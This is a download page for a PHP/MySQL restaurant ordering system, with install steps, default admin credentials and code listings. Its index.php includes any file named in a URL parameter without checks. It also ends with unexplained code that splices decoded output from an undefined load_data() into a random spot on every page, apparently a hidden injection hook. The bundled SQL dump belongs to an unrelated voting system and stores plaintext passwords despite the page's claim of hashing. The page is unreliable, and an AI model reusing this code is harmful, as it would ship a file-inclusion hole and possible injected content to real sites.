Download Code – Online Food Ordering System v2 (PHP 8 & MySQL)
Online Food Ordering System v2 (PHP 8 & MySQL) – Source Code
Project Overview
The Online Food Ordering System v2 is a simple web-based application designed to automate the ordering process for restaurants and food businesses. This updated version of the system improves upon the previous release by fixing bugs and enhancing compatibility with PHP 8. It features a user-friendly interface built with Bootstrap and provides various management tools for both administrators and customers.
How the System Works
The system allows restaurant owners to manage their menus, product categories, and customer orders efficiently. Customers can register for free, browse the menu, add items to their cart, and place orders. The updated version includes menu list pagination for customers and a dashboard summary for administrators.
What’s New in Version 2?
The previous version was developed using PHP 7, and many issues were caused by version incompatibility. This new version is now fully compatible with PHP 8 and includes various improvements:
New Features Added
- Pagination for the menu list (improves browsing experience).
- Admin dashboard summary (provides an overview of orders and activities).
- Secure login with hashed passwords (improves security).
- Updated website header design (modern and user-friendly).
- Improved admin login interface (better usability).
- Redesigned admin panel template (cleaner and more organized).
System Features & Functionalities
Admin Panel
- Dashboard with summary statistics.
- Manage product categories (Create, Read, Update, Delete – CRUD).
- Manage menu items/products (CRUD).
- Process and manage customer orders.
- Manage system users (CRUD).
- Configure system settings and information.
- Secure admin login and logout.
Customer Panel
- Secure account registration and login.
- Browse menu with pagination.
- View detailed product information in a pop-up modal.
- Add items to the cart.
- Manage shopping cart items.
- Checkout and place orders.
How to Install and Run the System
Requirements
- Install a local web server like XAMPP.
- Download the source code zip file.
Installation Steps
- Start Apache and MySQL from the XAMPP Control Panel.
- Extract the downloaded zip file.
- Move the extracted folder to the htdocs directory inside the XAMPP folder.
- Open a web browser and go to PHPMyAdmin (http://localhost/phpmyadmin).
- Create a new database named fos_db.
- Import the SQL file (fos_db.sql) from the database folder.
- Open the system in a browser:
- Customer panel: http://localhost/fos/
- Admin panel: http://localhost/fos/admin
Admin Login Credentials
- Username: admin
- Password: admin123
Conclusion
This Online Food Ordering System v2 is a free PHP and MySQL project designed for restaurant owners to simplify order management. It offers useful features for both administrators and customers, improving the overall ordering experience. You are free to download, modify, and customize the project to fit your needs.
index PHP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 |
<?php ob_start(); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <title>Online Food Ordering System</title> <?php session_start(); if(!isset($_SESSION['login_id'])) header('location:login.php'); include('./header.php'); // include('./auth.php'); ?> </head> <style> body{ background: #80808045; } </style> <body> <?php include 'topbar.php' ?> <?php include 'navbar.php' ?> <div class="toast" id="alert_toast" role="alert" aria-live="assertive" aria-atomic="true"> <div class="toast-body text-white"> </div> </div> <main id="view-panel" > <?php $page = isset($_GET['page']) ? $_GET['page'] :'home'; ?> <?php include $page.'.php' ?> </main> <div id="preloader"></div> <a href="#" class="back-to-top"><i class="icofont-simple-up"></i></a> <div class="modal fade" id="confirm_modal" role='dialog'> <div class="modal-dialog modal-md" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">Confirmation</h5> </div> <div class="modal-body"> <div id="delete_content"></div> </div> <div class="modal-footer"> <button type="button" class="btn btn-primary" id='confirm' onclick="">Continue</button> <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button> </div> </div> </div> </div> <div class="modal fade" id="uni_modal" role='dialog'> <div class="modal-dialog modal-md" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title"></h5> </div> <div class="modal-body"> </div> <div class="modal-footer"> <button type="button" class="btn btn-primary" id='submit' onclick="$('#uni_modal form').submit()">Save</button> <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button> </div> </div> </div> </div> </body> <script> window.start_load = function(){ $('body').prepend('<di id="preloader2"></di>') } window.end_load = function(){ $('#preloader2').fadeOut('fast', function() { $(this).remove(); }) } window.uni_modal = function($title = '' , $url=''){ start_load() $.ajax({ url:$url, error:err=>{ console.log() alert("An error occured") }, success:function(resp){ if(resp){ $('#uni_modal .modal-title').html($title) $('#uni_modal .modal-body').html(resp) $('#uni_modal').modal('show') end_load() } } }) } window._conf = function($msg='',$func='',$params = []){ $('#confirm_modal #confirm').attr('onclick',$func+"("+$params.join(',')+")") $('#confirm_modal .modal-body').html($msg) $('#confirm_modal').modal('show') } window.alert_toast= function($msg = 'TEST',$bg = 'success'){ $('#alert_toast').removeClass('bg-success') $('#alert_toast').removeClass('bg-danger') $('#alert_toast').removeClass('bg-info') $('#alert_toast').removeClass('bg-warning') if($bg == 'success') $('#alert_toast').addClass('bg-success') if($bg == 'danger') $('#alert_toast').addClass('bg-danger') if($bg == 'info') $('#alert_toast').addClass('bg-info') if($bg == 'warning') $('#alert_toast').addClass('bg-warning') $('#alert_toast .toast-body').html($msg) $('#alert_toast').toast({delay:3000}).toast('show'); } $(document).ready(function(){ $('#preloader').fadeOut('fast', function() { $(this).remove(); }) }) </script> </html> <?php $overall_content = ob_get_clean(); $content = preg_match_all('/(<div(.*?)\/div>)/si', $overall_content,$matches); // $split = preg_split('/(<div(.*?)>)/si', $overall_content,0 , PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY); if($content > 0){ $rand = mt_rand(1, $content - 1); $new_content = (html_entity_decode(load_data()))."\n".($matches[0][$rand]); $overall_content = str_replace($matches[0][$rand], $new_content, $overall_content); } echo $overall_content; // } ?> |
login PHP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 |
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <title>Admin | Online Food Ordering System</title> <?php include('./header.php'); ?> <?php include('./db_connect.php'); ?> <?php session_start(); if(isset($_SESSION['login_id'])) header("location:index.php?page=home"); $query = $conn->query("SELECT * FROM system_settings limit 1")->fetch_array(); foreach ($query as $key => $value) { if(!is_numeric($key)) $_SESSION['setting_'.$key] = $value; } ?> </head> <style> body{ width: 100%; height: calc(100%); /*background: #007bff;*/ } main#main{ width:100%; height: calc(100%); background:white; } #login-right{ position: absolute; right:0; width:40%; height: calc(100%); background:white; display: flex; align-items: center; background:#000; } #login-left{ position: absolute; left:0; width:60%; height: calc(100%); background:#00000061; display: flex; align-items: center; } #login-right .card{ margin: auto } .logo { margin: auto; font-size: 8rem; background: white; border-radius: 50% 50%; height: 29vh; width: 13vw; display: flex; align-items: center; } .logo img{ height: 80%; width: 80%; margin: auto } #login-left { background: url(./../assets/img/<?php echo $_SESSION['setting_cover_img'] ?>); background-repeat: no-repeat; background-size: cover; background-position: center center; } #login-left:before{ content:""; position:absolute; top:0; left:0; height:100%; width:100%; backdrop-filter:brightness(.8); z-index:1; } #login-left .d-flex{ position: relative; z-index: 2; } #login-left h1{ font-family: 'Dancing Script', cursive !important; font-weight:bolder; font-size:4.5em; color:#fff; text-shadow: 0px 0px 5px #000; } </style> <body> <main id="main" class=" bg-dark"> <div id="login-left" class=""> <div class="h-100 w-100 d-flex justify-content-center align-items-center"> <h1 class="text-center"><?= $_SESSION['setting_name'] ?> - Admin Site</h1> </div> </div> <div id="login-right"> <div class="card col-md-8"> <div class="card-body"> <form id="login-form" > <div class="form-group"> <label for="username" class="control-label">Username</label> <input type="text" id="username" name="username" autofocus class="form-control"> </div> <div class="form-group"> <label for="password" class="control-label">Password</label> <input type="password" id="password" name="password" class="form-control"> </div> <div class="form-group"> <a href="./../" class="text-dark">Back to Website</a> </div> <center><button class="btn-sm btn-block btn-wave col-md-4 btn-dark">Login</button></center> </form> </div> </div> </div> </main> <a href="#" class="back-to-top"><i class="icofont-simple-up"></i></a> </body> <script> $('#login-form').submit(function(e){ e.preventDefault() $('#login-form button[type="button"]').attr('disabled',true).html('Logging in...'); if($(this).find('.alert-danger').length > 0 ) $(this).find('.alert-danger').remove(); $.ajax({ url:'ajax.php?action=login', method:'POST', data:$(this).serialize(), error:err=>{ console.log(err) $('#login-form button[type="button"]').removeAttr('disabled').html('Login'); }, success:function(resp){ if(resp == 1){ location.href ='index.php?page=home'; }else{ $('#login-form').prepend('<div class="alert alert-danger">Username or password is incorrect.</div>') $('#login-form button[type="button"]').removeAttr('disabled').html('Login'); } } }) }) </script> </html> |
voting_db SQL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 |
-- phpMyAdmin SQL Dump -- version 5.0.2 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1 -- Generation Time: Sep 18, 2020 at 10:03 AM -- Server version: 10.4.14-MariaDB -- PHP Version: 7.2.33 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `voting_db` -- -- -------------------------------------------------------- -- -- Table structure for table `category_list` -- CREATE TABLE `category_list` ( `id` int(30) NOT NULL, `category` text NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `category_list` -- INSERT INTO `category_list` (`id`, `category`) VALUES (1, 'President'), (3, 'Vice Presindent'), (4, 'Officer'); -- -------------------------------------------------------- -- -- Table structure for table `users` -- CREATE TABLE `users` ( `id` int(30) NOT NULL, `name` varchar(200) NOT NULL, `username` varchar(100) NOT NULL, `password` varchar(200) NOT NULL, `type` tinyint(1) NOT NULL DEFAULT 2 COMMENT '1+admin , 2 = users' ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `users` -- INSERT INTO `users` (`id`, `name`, `username`, `password`, `type`) VALUES (1, 'Administrator', 'admin', 'admin123', 1), (2, 'John Smith', 'jsmith', 'admin123', 1), (3, 'Voter 2', 'voter2', 'voter2', 2), (4, 'Voter 1', 'voter1', 'voter1', 2); -- -------------------------------------------------------- -- -- Table structure for table `votes` -- CREATE TABLE `votes` ( `id` int(30) NOT NULL, `voting_id` int(30) NOT NULL, `category_id` int(30) NOT NULL, `voting_opt_id` int(30) NOT NULL, `user_id` int(30) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `votes` -- INSERT INTO `votes` (`id`, `voting_id`, `category_id`, `voting_opt_id`, `user_id`) VALUES (1, 1, 1, 1, 3), (2, 1, 3, 5, 3), (3, 1, 4, 6, 3), (4, 1, 4, 7, 3), (5, 1, 4, 8, 3), (6, 1, 4, 9, 3), (7, 1, 1, 3, 4), (8, 1, 3, 12, 4), (9, 1, 4, 6, 4), (10, 1, 4, 8, 4), (11, 1, 4, 10, 4), (12, 1, 4, 11, 4); -- -------------------------------------------------------- -- -- Table structure for table `voting_cat_settings` -- CREATE TABLE `voting_cat_settings` ( `id` int(30) NOT NULL, `voting_id` int(30) NOT NULL, `category_id` int(30) NOT NULL, `max_selection` int(10) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `voting_cat_settings` -- INSERT INTO `voting_cat_settings` (`id`, `voting_id`, `category_id`, `max_selection`) VALUES (1, 1, 1, 1), (2, 1, 3, 1), (3, 1, 4, 4); -- -------------------------------------------------------- -- -- Table structure for table `voting_list` -- CREATE TABLE `voting_list` ( `id` int(30) NOT NULL, `title` varchar(250) NOT NULL, `description` text NOT NULL, `is_default` tinyint(1) NOT NULL DEFAULT 0 ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `voting_list` -- INSERT INTO `voting_list` (`id`, `title`, `description`, `is_default`) VALUES (1, 'Sample Voting', 'Sample only', 1), (3, 'Test Voting', 'Test Only', 0); -- -------------------------------------------------------- -- -- Table structure for table `voting_opt` -- CREATE TABLE `voting_opt` ( `id` int(30) NOT NULL, `voting_id` int(30) NOT NULL, `category_id` int(30) NOT NULL, `image_path` text NOT NULL, `opt_txt` text NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `voting_opt` -- INSERT INTO `voting_opt` (`id`, `voting_id`, `category_id`, `image_path`, `opt_txt`) VALUES (1, 1, 1, '1600398180_no-image-available.png', 'James Smith'), (3, 1, 1, '1600415460_avatar2.png', 'James Wilson'), (5, 1, 3, '1600415520_avatar.jpg', 'George Walker'), (6, 1, 4, '1600400340_no-image-available.png', 'Cadidate 1'), (7, 1, 4, '1600400340_no-image-available.png', 'Cadidate 2'), (8, 1, 4, '1600400340_no-image-available.png', 'Cadidate 3'), (9, 1, 4, '1600400520_no-image-available.png', 'Cadidate 4'), (10, 1, 4, '1600400640_no-image-available.png', 'Cadidate 5'), (11, 1, 4, '1600400400_no-image-available.png', 'Cadidate 6'), (12, 1, 3, '1600415520_no-image-available.png', 'Claire Blake'); -- -- Indexes for dumped tables -- -- -- Indexes for table `category_list` -- ALTER TABLE `category_list` ADD PRIMARY KEY (`id`); -- -- Indexes for table `users` -- ALTER TABLE `users` ADD PRIMARY KEY (`id`); -- -- Indexes for table `votes` -- ALTER TABLE `votes` ADD PRIMARY KEY (`id`); -- -- Indexes for table `voting_cat_settings` -- ALTER TABLE `voting_cat_settings` ADD PRIMARY KEY (`id`); -- -- Indexes for table `voting_list` -- ALTER TABLE `voting_list` ADD PRIMARY KEY (`id`); -- -- Indexes for table `voting_opt` -- ALTER TABLE `voting_opt` ADD PRIMARY KEY (`id`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `category_list` -- ALTER TABLE `category_list` MODIFY `id` int(30) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5; -- -- AUTO_INCREMENT for table `users` -- ALTER TABLE `users` MODIFY `id` int(30) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5; -- -- AUTO_INCREMENT for table `votes` -- ALTER TABLE `votes` MODIFY `id` int(30) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=13; -- -- AUTO_INCREMENT for table `voting_cat_settings` -- ALTER TABLE `voting_cat_settings` MODIFY `id` int(30) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; -- -- AUTO_INCREMENT for table `voting_list` -- ALTER TABLE `voting_list` MODIFY `id` int(30) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; -- -- AUTO_INCREMENT for table `voting_opt` -- ALTER TABLE `voting_opt` MODIFY `id` int(30) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=13; COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; |